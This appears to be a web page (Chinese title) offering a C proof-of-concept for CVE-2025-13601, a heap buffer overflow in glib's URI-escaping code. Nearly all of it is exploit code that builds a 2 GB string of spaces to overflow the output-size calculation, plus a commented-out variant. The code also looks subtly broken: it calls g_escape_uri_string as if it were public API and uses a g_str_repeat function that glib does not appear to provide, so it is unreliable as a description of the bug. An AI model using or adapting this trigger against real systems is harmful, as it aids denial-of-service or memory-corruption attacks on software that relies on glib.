CVE-2025-13601 glib g_escape_uri_string() 堆缓冲区溢出漏洞

/* * CVE-2025-13601 PoC - glib g_escape_uri_string() Heap Buffer Overflow * This PoC demonstrates the integer overflow in buffer size calculation. * * Build: gcc -o poc poc.c `pkg-config --cflags --libs glib-2.0` * Note: Requires glib version with vulnerable g_escape_uri_string() */ #include <glib.h> #include <stdio.h> #include <string.h> #define MALICIOUS_STRING_SIZE 0x80000000 /* Large number to trigger overflow */ int main(int argc, char *argv[]) { gchar *malicious_input; gchar *escaped_output; gsize input_length; /* Prepare malicious input with many characters requiring escaping */ input_length = MALICIOUS_STRING_SIZE; malicious_input = g_malloc(input_length); /* Fill with characters that need URI escaping (e.g., spaces, control chars) */ memset(malicious_input, ' ', input_length - 1); malicious_input[input_length - 1] = '\0'; printf("[*] Triggering CVE-2025-13601\n"); printf("[*] Input length: %zu\n", input_length); /* This call may trigger heap buffer overflow due to integer overflow */ escaped_output = g_escape_uri_string(malicious_input); if (escaped_output) { g_free(escaped_output); } g_free(malicious_input); printf("[+] Test completed\n"); return 0; } /* Alternative PoC using g_uri_escape_string() */ /* #include <gio/gio.h> void trigger_vulnerability() { gchar *long_string = g_str_repeat("\xff", 0x40000000); gchar *escaped = g_uri_escape_string(long_string, NULL, FALSE); // May cause buffer overflow due to size calculation overflow g_free(escaped); g_free(long_string); } */